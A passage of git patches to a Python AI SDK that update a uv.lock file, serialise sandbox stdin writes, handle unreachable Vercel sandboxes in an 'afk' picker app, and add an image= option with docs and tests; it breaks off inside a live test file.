"textual", specifier = ">=8.2.8" }, { name = "vercel-internal-core", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&branch=main" }, { name = "vercel-oidc", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&branch=main" }, { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&branch=main" }, @@ -399,6 +401,32 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" }, ] +[[package]] +name = "linkify-it-py" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/45/98/7a1a5f31fd5c7ba93e963b168e244b8e3dd705b3d2a718e3c3307583bf57/linkify_it_py-2.2.0.tar.gz", hash = "sha256:907acd2d17ac1fbb9ddb62c8957ccbd6158cac602231a15c3b0cd1e215f03cee", size = 32939, upload-time = "2026-08-29T07:07:08.305Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d4/1152d1c7ab42d8b908be64fd200ddc870dc9d4925e951198702084aa1a7d/linkify_it_py-2.2.0-py3-none-any.whl", hash = "sha256:3adc40eb5af300b2605fcfdb968c24e1d780a90f1f2221af7c15e5111e94d443", size = 21971, upload-time = "2026-08-29T07:07:07.164Z" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" }, +] + +[package.optional-dependencies] +linkify = [ + { name = "linkify-it-py" }, +] + [[package]] name = "mcp" version = "2.2.0" @@ -437,6 +465,27 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/8f/d7/6ffba5d8cd5dd9b8a19478875c50e04945314ba5074e84d749283f27f62d/mcp_types-2.2.0-py3-none-any.whl", hash = "sha256:ea476b73ee86709ab5abc9452385ed36cc05907e582355622e294595c9a04f13", size = 69106, upload-time = "2026-09-07T16:06:21.461Z" }, ] +[[package]] +name = "mdit-py-plugins" +version = "0.6.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/59/fc/f8d0863f8862f25602c0404d75568e89fb6b4109804645e5cdfb1be5cf56/mdit_py_plugins-0.6.1.tar.gz", hash = "sha256:a2bca0f039f39dbd35fb74ae1b5f998608c437463371f0ff7f49a19a17a114d0", size = 56114, upload-time = "2026-05-13T09:03:38.91Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/69/6da5581c6a7fede7dc261bf4e67d6adca4196f176b43288b55b3db395b6e/mdit_py_plugins-0.6.1-py3-none-any.whl", hash = "sha256:214c82fb2ac524472ab6a5bcab1de80f73b50443e187f401bfd77efbc7c6481d", size = 66663, upload-time = "2026-05-13T09:03:37.76Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + [[package]] name = "modelsdotdev" version = "0.20260818.0" @@ -467,6 +516,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, ] +[[package]] +name = "platformdirs" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/8a/84ef03c1c83eacd7cc4540b05428a93b5cd4e42f62fb0b98ac2cb6ed3a6d/platformdirs-4.12.1.tar.gz", hash = "sha256:38da801a4af303033cbffccb39030db22bf0473e6414309b02acebeee7ca8bf1", size = 59427, upload-time = "2026-09-28T05:05:16.264Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/40/31/1521c38d175108ac395941adbcb9f11e085340bed81ad166e8ad8c21c17b/platformdirs-4.12.1-py3-none-any.whl", hash = "sha256:7f251621befae78b2cb74616f9fc99d3fa3db0afba5035987731f8dcd430337d", size = 33011, upload-time = "2026-09-28T05:05:15.06Z" }, +] + [[package]] name = "pluggy" version = "1.6.0" @@ -669,6 +727,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", size = 26766, upload-time = "2025-10-13T15:30:47.625Z" }, ] +[[package]] +name = "rich" +version = "15.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" }, +] + [[package]] name = "rpds-py" version = "2026.6.3" @@ -800,6 +871,23 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4e/d6/1ec1b290f9e0fb067899b61e1d37a30c923068bad260b216dbe37a7d2967/starlette-1.7.0-py3-none-any.whl", hash = "sha256:67f8e99895493dd2911a03f11314af6ceebeae4e704bb9f43dfc6a9db151c93e", size = 78980, upload-time = "2026-09-23T07:30:24.567Z" }, ] +[[package]] +name = "textual" +version = "8.2.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py", extra = ["linkify"] }, + { name = "mdit-py-plugins" }, + { name = "platformdirs" }, + { name = "pygments" }, + { name = "rich" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/00/21/39a76b01bd5eea82a04baaca7580e105d8c59450df03998345bb2cfb307b/textual-8.2.8.tar.gz", hash = "sha256:3f106a9fbc73e39dd266c9712432087de78a6d644084c7c241d6a25c3169115b", size = 1860502, upload-time = "2026-06-30T06:51:24.495Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/be/35261223d9416a0751cdff1c7b4a6f881387218a12d439fe22fefebc8c04/textual-8.2.8-py3-none-any.whl", hash = "sha256:267375fd402dc8d981457212efa71f0e3365fd17bba144ba9bb3ed7563cb374a", size = 731418, upload-time = "2026-06-30T06:51:26.364Z" }, +] + [[package]] name = "truststore" version = "0.10.4" @@ -846,11 +934,7 @@ wheels = [ [[package]] name = "vercel-headers" version = "0.7.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/e4/0c/241e47d351413c108f0b411df087feeb15cf32f422000414ce24d3791537/vercel_headers-0.7.2.tar.gz", hash = "sha256:f5255da014032b357a3f18769bd19ff675b0ee3e4fc355c6bbd574dfc674222d", size = 6148, upload-time = "2026-09-08T17:09:14.589Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/cd/64/12d53f70253dfd00f1a394bc930b5d55bad84ac17c9fc77b5ca0525ccd18/vercel_headers-0.7.2-py3-none-any.whl", hash = "sha256:26dcb0016b5c553e638385e532cb8557f071e247b46f2575d5737e48718dc8c6", size = 3922, upload-time = "2026-09-08T17:09:13.585Z" }, -] +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&branch=main#a337e549acb8f69872c5537d91f981e5e9edac5e" } [[package]] name = "vercel-internal-core" From 122884cc592b165fbdef16d51eb332ef91c82a4f Mon Sep 17 00:00:00 2001 From: George Date: Wed, 30 Sep 2026 18:39:24 -0700 Subject: [PATCH 09/37] VercelSandbox: write a process's stdin one writer at a time A sandbox process's stdin is an interactive stream that refuses a second sender mid-send (anyio's BusyResourceError), and callers write from several tasks: codex's JSON-RPC client steering a turn while it answers the agent. The live suite's codex steer test failed in a sandbox on exactly that, "Another task is already writing to this resource". SandboxProcess.write now takes a lock around opening the conduit and sending, as FramedPty does, so two first writes also never open two conduits. --- src/ai/workspaces/experimental/_sandbox.py | 14 +++++++-- tests/workspaces/experimental/test_sandbox.py | 31 +++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index 2261b61d..ad741205 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -141,6 +141,7 @@ def __init__( self._fifo = fifo self._conduit: Any = None self._conduit_scope: Any = None + self._writing = asyncio.Lock() self._os_pid: int | None = None self._streams_closed = False @@ -210,9 +211,16 @@ async def _alive(self) -> bool: return await self._ok(["kill", "-0", str(pid)], timeout=5) async def write(self, data: str) -> None: - await self._ensure_conduit() - assert self._conduit is not None - await self._conduit.stream.send(data.encode()) + # One writer at a time, as FramedPty does: the conduit is an + # interactive stream that refuses a second sender mid-send (anyio's + # BusyResourceError), and callers write from several tasks — a + # JSON-RPC client steering a turn while it answers the agent. + # Measured: codex's steer test failed in a sandbox on exactly that. + # The first write also opens the conduit; two must not open two. + async with self._writing: + await self._ensure_conduit() + assert self._conduit is not None + await self._conduit.stream.send(data.encode()) async def _ensure_conduit(self) -> None: """Attach the input conduit on first use. diff --git a/tests/workspaces/experimental/test_sandbox.py b/tests/workspaces/experimental/test_sandbox.py index bb80579b..d1b5e190 100644 --- a/tests/workspaces/experimental/test_sandbox.py +++ b/tests/workspaces/experimental/test_sandbox.py @@ -100,3 +100,34 @@ def test_a_live_token_passes_the_guard(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setenv("VERCEL_OIDC_TOKEN", _jwt(time.time() + 3600)) monkeypatch.delenv("VERCEL_TOKEN", raising=False) assert sandbox_credentials() == {} + + +async def test_writes_from_many_tasks_go_one_at_a_time_in_order() -> None: + """The conduit refuses a second sender mid-send. Measured: codex's steer + test in a sandbox failed with "Another task is already writing to this + resource" when a steer and a reply to the agent were written at once.""" + import asyncio + from types import SimpleNamespace + from typing import Any, cast + + from ai.workspaces.experimental._sandbox import SandboxProcess + + sent: list[bytes] = [] + busy = False + + async def send(data: bytes) -> None: + nonlocal busy + if busy: + raise RuntimeError( + "Another task is already writing to this resource" + ) + busy = True + await asyncio.sleep(0.01) # a slow link + sent.append(data) + busy = False + + process = SandboxProcess(proc=cast("Any", None)) # never reached here + process._conduit = SimpleNamespace(stream=SimpleNamespace(send=send)) + lines = [f'{{"id": {i}}}\n' for i in range(5)] + await asyncio.gather(*(process.write(line) for line in lines)) + assert sent == [line.encode() for line in lines] From 48b35c1af8d3515aa9615f48387e0c4af9af6446 Mon Sep 17 00:00:00 2001 From: George Date: Wed, 30 Sep 2026 18:39:25 -0700 Subject: [PATCH 10/37] afk: peek from the picker; an unreachable sandbox is listed, not a crash The picker's remote rows get `p` for peek. It reads the transcript, so it watches a TUI as well as an unattended agent; where Enter already peeks, the key works but is not shown twice. A sandbox afk cannot ask right now (network, credentials) reached afk as a WorkspaceError, which the list did not catch: `afk` ended in a traceback, and in the picker the probe's failure closed the app. It is now listed `unreachable` and its record kept, as the README says, and a verb that meets one prints a line, not a traceback. The live test for this failed before; it passes now. --- examples/apps/afk/afk/cli.py | 5 ++++- examples/apps/afk/afk/rows.py | 14 +++++++++----- examples/apps/afk/afk/tui.py | 12 +++++++++--- examples/apps/afk/tests/test_tui.py | 24 ++++++++++++++++++++++++ 4 files changed, 46 insertions(+), 9 deletions(-) diff --git a/examples/apps/afk/afk/cli.py b/examples/apps/afk/afk/cli.py index df5ba89d..31d5e582 100644 --- a/examples/apps/afk/afk/cli.py +++ b/examples/apps/afk/afk/cli.py @@ -32,6 +32,7 @@ from ai.workspaces.experimental import Gateway, vercel_ai_gateway from ai.workspaces.experimental.errors import ( NotAuthenticatedError, + WorkspaceError, WorkspaceGoneError, ) @@ -351,7 +352,9 @@ async def main_async(argv: list[str]) -> int: ) return 0 if args.verb == "stop" else 1 return 0 - except HarnessError as exc: + except (HarnessError, WorkspaceError) as exc: + # One line, never a traceback: a sandbox that cannot be reached + # right now (network, credentials) is a WorkspaceError. print(f"afk: {exc}") return 1 diff --git a/examples/apps/afk/afk/rows.py b/examples/apps/afk/afk/rows.py index 10e74018..36a51f61 100644 --- a/examples/apps/afk/afk/rows.py +++ b/examples/apps/afk/afk/rows.py @@ -19,7 +19,10 @@ from ai.harnesses.experimental import Handle, claude_code, codex from ai.harnesses.experimental.errors import HarnessError from ai.workspaces.experimental import Local, VercelSandbox -from ai.workspaces.experimental.errors import WorkspaceGoneError +from ai.workspaces.experimental.errors import ( + WorkspaceError, + WorkspaceGoneError, +) if TYPE_CHECKING: from pathlib import Path @@ -194,9 +197,10 @@ async def probe(name: str, group: list[Remote]) -> None: gone.append(name) for r in group: rows.append(_remote_row(r, "gone")) - except HarnessError: - # Could not ask — network, credentials, the platform. It may well - # be running: keep the record, or it is the only way back lost. + except (HarnessError, WorkspaceError): + # Could not ask — network, credentials, the platform (the SDK says + # so as a WorkspaceError). It may well be running: keep the + # record, or it is the only way back lost. for r in group: rows.append(_remote_row(r, "unreachable")) @@ -225,7 +229,7 @@ async def _unattended_status(ws: VercelSandbox, r: Remote) -> str: ) else "running" ) - except HarnessError: + except (HarnessError, WorkspaceError): return "?" diff --git a/examples/apps/afk/afk/tui.py b/examples/apps/afk/afk/tui.py index e645fc9b..7c25ca9e 100644 --- a/examples/apps/afk/afk/tui.py +++ b/examples/apps/afk/afk/tui.py @@ -37,9 +37,12 @@ def verbs(row: Row) -> Verbs: "enter": ("push", ["push", sid]), "b": ("push --bg", ["push", sid, "--bg"]), } - first = "attach" if row.mode == "tui" else "peek" + # Peek reads the transcript, so it watches a TUI as well as an + # unattended agent; Enter is the one thing a row is mostly for. + peek = ("peek", ["peek", sid]) return { - "enter": (first, [first, sid]), + "enter": ("attach", ["attach", sid]) if row.mode == "tui" else peek, + "p": peek, "l": ("pull", ["pull", sid]), "f": ("pull --files", ["pull", sid, "--files"]), "s": ("stop", ["stop", sid]), @@ -148,9 +151,12 @@ def show_keys(self) -> None: if self.confirming is not None and row is not None: keys.update(f"stop {row.label or row.short} ({row.sandbox})? y/N") return + keys_ = verbs(row) if row else {} + # A key that does what Enter does works, but is not shown twice. shown = [ f"{k} {name}" - for k, (name, _) in (verbs(row) if row else {}).items() + for k, (name, argv) in keys_.items() + if k == "enter" or (name, argv) != keys_["enter"] ] keys.update(" · ".join([*shown, "q quit"])) diff --git a/examples/apps/afk/tests/test_tui.py b/examples/apps/afk/tests/test_tui.py index 964d33d7..725013df 100644 --- a/examples/apps/afk/tests/test_tui.py +++ b/examples/apps/afk/tests/test_tui.py @@ -8,6 +8,7 @@ from afk.rows import Row from afk.tui import Picker from rich.text import Text +from textual.widgets import Static HERE = [ Row( @@ -69,6 +70,8 @@ async def _press(*keys: str, remote_delay: float = 0.0) -> Picker: (["b"], ["push", "a3f5aaaa", "--bg"]), (["down", "down", "enter"], ["attach", "c2d1dddd"]), (["down", "down", "down", "enter"], ["peek", "9e7feeee"]), + (["down", "down", "p"], ["peek", "c2d1dddd"]), + (["down", "down", "down", "p"], ["peek", "9e7feeee"]), (["down", "down", "l"], ["pull", "c2d1dddd"]), (["down", "down", "f"], ["pull", "c2d1dddd", "--files"]), (["down", "down", "s", "y"], ["stop", "c2d1dddd"]), @@ -78,6 +81,27 @@ async def test_keys_choose_a_command(keys: list[str], argv: list[str]) -> None: assert (await _press(*keys)).return_value == argv +@pytest.mark.parametrize( + ("downs", "keys"), + [ + ( + 2, + "enter attach · p peek · l pull · f pull --files · s stop · q quit", + ), + # an unattended agent: Enter already peeks, so p is not shown twice + (3, "enter peek · l pull · f pull --files · s stop · q quit"), + ], +) +async def test_the_keys_shown_are_the_rows_own(downs: int, keys: str) -> None: + app = Picker(Text("~/proj"), HERE, _remote()) + async with app.run_test(size=(100, 20)) as pilot: + await pilot.pause(0.1) + for _ in range(downs): + await pilot.press("down") + await pilot.pause(0.05) + assert str(app.query_one("#keys", Static).render()) == keys + + @pytest.mark.parametrize("answer", ["enter", "n", "escape", "q", "down"]) async def test_stop_is_only_a_yes(answer: str) -> None: app = await _press("down", "down", "s", answer) From 484a49e92ffcab968133c79072bc9aab4297aabf Mon Sep 17 00:00:00 2001 From: George Date: Thu, 1 Oct 2026 21:03:30 -0700 Subject: [PATCH 11/37] VercelSandbox: boot a new sandbox from a chosen image `image=` names the root filesystem a new VM boots from: a Vercel Container Registry reference (a managed image such as vercel/sandbox/python:3.14, a project repository, or a team-scoped one, by tag or digest). Omitted, the create call carries no image key at all, so the platform's default stays the platform's choice. Like egress, the image is fixed when the VM is created. It is refused with name= (a reconnect keeps the image its VM booted from) and with snapshot= (a snapshot carries its own filesystem), in the constructor, before anything boots. `sandbox.image` reports what the platform says the VM booted from once open, including after a reconnect by name, which is how a caller like afk that only keeps names can still know it. Measured: the platform reports a digest, not the tag (vercel/sandbox/node:24 comes back as vercel/sandbox/node@sha256:...). Two things only a non-default image reaches, fixed here: - `exec` of a command not on PATH raised the platform's executable_not_found error; it is now exit 127, as in `Local.exec`. The harness adapters probe ` --version` and install on a non-zero exit, but the default image ships both CLIs, so that path had never run in a sandbox. - A process's stdin pump runs python3 in the VM. node:24 and ubuntu have none, and the first write failed as a bare ClosedResourceError; the conduit now raises a WorkspaceError naming python3. The docs say what an image needs for harnesses. Offline tests pin the refusals, the create request, exit 127 and the conduit error. Live tests (-m sandbox) boot ubuntu and node:24 and check what is on PATH, the reported digest, the workdir and copy in a custom image, a reconnect reporting the image, a missing image failing with 404, the python3 error, and both harnesses answering in node:24 once python3 is installed (over https: the gateway's firewall resets plain http). --- .../content/docs/basics/workspaces.mdx | 1 + .../content/docs/reference/workspaces.mdx | 7 +- src/ai/workspaces/experimental/_sandbox.py | 85 ++++++++-- .../experimental/e2e/test_sandbox_image.py | 159 ++++++++++++++++++ tests/workspaces/experimental/test_sandbox.py | 71 +++++++- .../experimental/test_sandbox_image.py | 120 +++++++++++++ 6 files changed, 431 insertions(+), 12 deletions(-) create mode 100644 tests/harnesses/experimental/e2e/test_sandbox_image.py create mode 100644 tests/workspaces/experimental/test_sandbox_image.py diff --git a/docs/ai-python/content/docs/basics/workspaces.mdx b/docs/ai-python/content/docs/basics/workspaces.mdx index 589b14dd..ab346e26 100644 --- a/docs/ai-python/content/docs/basics/workspaces.mdx +++ b/docs/ai-python/content/docs/basics/workspaces.mdx @@ -107,6 +107,7 @@ harness factory; it wins over the workspace's. | Option | Description | Default | |---|---|---| | `execution_time_limit` | How long the VM lives, in seconds. The platform default is short, so set it for long work. | `None`: the platform's default | +| `image` | The image a new VM boots from: a [Vercel Container Registry](https://vercel.com/docs/sandbox/concepts/images) reference such as `"vercel/sandbox/python:3.14"` or your own `"my-repo:v1"`. Not with `name` or `snapshot`. Harnesses need `python3` in the image, and `npm` to install their CLI; the default image has both. | `None`: the platform's default image | | `keep` | Whether `close()` leaves the VM running. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | | `name` | Reconnect to an existing sandbox instead of creating one. `sandbox.name` is set once the VM exists. | `None`: create one | | `ports` | Ports to expose. Get a URL with `await sandbox.reachable_url(port)`. | `None` | diff --git a/docs/ai-python/content/docs/reference/workspaces.mdx b/docs/ai-python/content/docs/reference/workspaces.mdx index 8d8b9dd1..846cf2b3 100644 --- a/docs/ai-python/content/docs/reference/workspaces.mdx +++ b/docs/ai-python/content/docs/reference/workspaces.mdx @@ -43,6 +43,7 @@ workspaces.VercelSandbox( project_id=None, workdir="/vercel/sandbox", snapshot=None, + image=None, env=None, forward_project_env=False, env_file=None, @@ -64,6 +65,7 @@ support, and raises `ai.errors.InstallationError` when it is missing. | `token`, `team_id`, `project_id` | Vercel credentials. A project (OIDC) token alone is enough: it names its own team and project. | `None`: read from the environment or `.env.local` | | `workdir` | Working directory in the VM. | `"/vercel/sandbox"` | | `snapshot` | Snapshot id to start from. | `None` | +| `image` | Vercel Container Registry image a new VM boots from (`"repo:tag"`, `"team/project/repo@sha256:..."`). Raises `ValueError` with `name` or `snapshot`. Harnesses need `python3` in the image, and `npm` to install their CLI. | `None`: the platform's default image | | `env` | Environment for everything run in the VM. | `None` | | `forward_project_env` | Also send every non-credential variable from `.env.local`. | `False` | | `env_file` | Path to the env file. | `None`: the nearest `.env.local`, searching up from `project_root` to the repository root | @@ -76,7 +78,10 @@ support, and raises `ai.errors.InstallationError` when it is missing. | `allow_hosts` | Extra hosts the VM may reach when `gateway` is set. | `()` | Beyond `Workspace`, a sandbox has `name`: the platform's name for it, or -`None` before it exists. +`None` before it exists; and `image`: once open, the digest-pinned reference +the platform reports for the VM (`"vercel/sandbox/node@sha256:..."` for +`"vercel/sandbox/node:24"`; the tag is not kept), also after reconnecting by +`name`, and before that the one passed in, or `None` for the default. `open()` with `name` raises `WorkspaceGoneError` when the sandbox is stopped or missing, `WorkspaceError` when it cannot be reached or was created without diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index ad741205..6afd41f4 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -265,7 +265,16 @@ async def _await_ready(self) -> None: try: chunk = await self._conduit.stream.receive() except Exception: # the stream ended - break + # Measured: in an image without python3 the shell + # prints `exec: python3: not found` and exits, and + # the first write then failed as a bare + # ClosedResourceError that named nothing. + said = seen.decode(errors="replace").strip() + raise errors_.WorkspaceError( + "the sandbox input conduit exited before it was " + f"ready ({said or 'no output'}); it runs python3 " + "in the VM, so the image must provide it" + ) from None seen += chunk except TimeoutError as exc: raise errors_.WorkspaceError( @@ -431,6 +440,7 @@ def __init__( project_id: str | None = None, workdir: str = DEFAULT_WORKDIR, snapshot: str | None = None, + image: str | None = None, env: Mapping[str, str] | None = None, forward_project_env: bool = False, env_file: str | Path | None = None, @@ -463,6 +473,19 @@ def __init__( Egress is fixed when a VM is created: reconnecting by name to one made without a gateway and asking for one is refused. + `image` is the root filesystem a new sandbox boots from: a Vercel + Container Registry reference such as ``vercel/sandbox/python:3.14``, + ``my-repo:v1``, or ``team/project/repo@sha256:...``. Omitted, the + platform default is used (``vercel/sandbox/universal``). Like egress, + it is decided when the VM is created, so it cannot be combined with + `name` (a reconnect keeps the image its VM already has) or with + `snapshot` (a snapshot carries its own filesystem). Once open, + `image` reports the digest the platform resolved it to. Files and + `exec` work in any image; a process's stdin and ptys, and so every + harness, need ``python3`` in it, and installing a harness CLI needs + ``npm``. The default image has both; ``vercel/sandbox/node:24`` and + ``vercel/sandbox/ubuntu`` have no ``python3``. + Needs the ``sandbox`` extra with interactive PTY support, and raises ``ai.errors.InstallationError`` here, before anything boots, when it is missing. @@ -488,8 +511,24 @@ def __init__( ) if v is not None } + # Refused here, before anything boots: a reconnect never creates, so + # an image with name= could only be ignored, and with snapshot= two + # sources would compete for the same root filesystem. + if image is not None and name is not None: + raise ValueError( + "image= is chosen when a sandbox is created; name= reconnects " + "to one that exists and keeps the image it booted from" + ) + if image is not None and snapshot is not None: + raise ValueError( + "image= and snapshot= both name the filesystem a new sandbox " + "boots from; pass one" + ) + if image is not None and not image.strip(): + raise ValueError("image= must be a non-empty image reference") self._workdir = workdir self._snapshot = snapshot + self._image = image # `.env.local` is read to AUTHENTICATE — nothing more. After # `vercel link` + `vercel env pull` the Vercel credentials in that # file let us create a sandbox without being passed anything. @@ -633,6 +672,8 @@ async def _open(self) -> None: options["execution_time_limit"] = self._execution_time_limit if self._ports: options["ports"] = self._ports + if self._image is not None: + options["image"] = self._image if self._snapshot is not None: from vercel.sandbox import SnapshotSource # noqa: PLC0415 @@ -708,6 +749,19 @@ async def close(self) -> None: self._forget_vm() await self._close_client() + @property + def image(self) -> str | None: + """The image this sandbox booted from. + + Once open, the digest-pinned reference the platform reports, such + as ``vercel/sandbox/node@sha256:...`` for ``vercel/sandbox/node:24`` + (the tag is not kept); before that, the one passed to `image=`, or + None for the platform default. + """ + if self._sandbox is not None and self._sandbox.image: + return self._sandbox.image + return self._image + @property def name(self) -> str | None: """The platform's name for this sandbox. None until open. @@ -767,16 +821,27 @@ async def exec( env: Mapping[str, str] | None = None, timeout: float | None = None, ) -> _base.ExecResult: + from vercel.sandbox import SandboxApiError # noqa: PLC0415 + command, *args = argv - done = await self._live().run_process( - command, - args, - cwd=self._workdir, - env={**self.env, **(env or {})}, - kill_after=timeout, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - ) + try: + done = await self._live().run_process( + command, + args, + cwd=self._workdir, + env={**self.env, **(env or {})}, + kill_after=timeout, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + except SandboxApiError as exc: + if exc.code != "executable_not_found": + raise + # Shell semantics, as `Local.exec`: a command that cannot be + # executed is exit 127, not an exception. Probes read the exit + # code to decide whether to install. The default image ships + # the harness CLIs, so only another image reaches this. + return _base.ExecResult(exit_code=127, stderr=f"{command}: {exc}") return _base.ExecResult( exit_code=done.returncode if done.returncode is not None else -1, stdout=await _text(done.stdout), diff --git a/tests/harnesses/experimental/e2e/test_sandbox_image.py b/tests/harnesses/experimental/e2e/test_sandbox_image.py new file mode 100644 index 00000000..c8291813 --- /dev/null +++ b/tests/harnesses/experimental/e2e/test_sandbox_image.py @@ -0,0 +1,159 @@ +"""A sandbox booted from a non-default image is that image, end to end. + +Each test boots a real microVM. The images are Vercel's managed ones, chosen +because their contents differ in ways a shell can see: `ubuntu` has no +Node.js, `node:24` has Node 24 and pnpm, and the default (`universal`) has +Node too. So "it booted the image asked for" is checked by what is on PATH, +not only by what the platform reports. + +Neither `ubuntu` nor `node:24` has python3, which a process's stdin needs in +the VM; the default image does. Measured, so pinned here too. +""" + +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from ai.workspaces.experimental import VercelSandbox, copy +from ai.workspaces.experimental._gateway import KEY_VAR, vercel_ai_gateway +from ai.workspaces.experimental.errors import WorkspaceError +from tests.harnesses.experimental.conftest import SPECS, exact +from tests.workspaces.experimental.conftest import ( + ENV_LOCAL, + SandboxCredentials, + sandbox_credentials, +) + +pytestmark = [pytest.mark.sandbox, pytest.mark.timeout(600)] + +UBUNTU = "vercel/sandbox/ubuntu:latest" +NODE24 = "vercel/sandbox/node:24" +# Where `apt-get` in these images fetches from (/etc/apt/sources.list.d). +APT_HOSTS = ("archive.ubuntu.com", "security.ubuntu.com") + +needs_gateway = pytest.mark.skipif( + not ENV_LOCAL.get(KEY_VAR, os.environ.get(KEY_VAR)), + reason=f"needs {KEY_VAR}", +) + + +def _creds() -> SandboxCredentials: + creds = sandbox_credentials() + if creds is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + return creds + + +async def test_the_bare_ubuntu_image_has_no_node() -> None: + """The default image ships Node, so its absence proves the image took.""" + async with VercelSandbox(**_creds(), image=UBUNTU) as ws: + # The platform reports the digest it resolved the tag to. + assert ws.image and ws.image.startswith("vercel/sandbox/ubuntu@sha256:") + found = await ws.exec(["sh", "-c", "command -v node"], timeout=60) + assert found.exit_code != 0, f"node is on PATH: {found.stdout!r}" + + +async def test_the_node_image_has_its_pinned_major_and_pnpm() -> None: + async with VercelSandbox(**_creds(), image=NODE24) as ws: + assert ws.image and ws.image.startswith("vercel/sandbox/node@sha256:") + node = await ws.exec(["node", "--version"], timeout=60) + pnpm = await ws.exec(["pnpm", "--version"], timeout=60) + assert node.stdout.startswith("v24."), node.stdout + assert pnpm.exit_code == 0, pnpm.stderr + + +async def test_without_an_image_the_default_still_boots() -> None: + async with VercelSandbox(**_creds()) as ws: + node = await ws.exec(["node", "--version"], timeout=60) + assert node.exit_code == 0, node.stderr + + +async def test_the_workdir_works_in_a_custom_image(tmp_path: Path) -> None: + """`_open` makes the workdir; a custom image must not break that, nor + copying 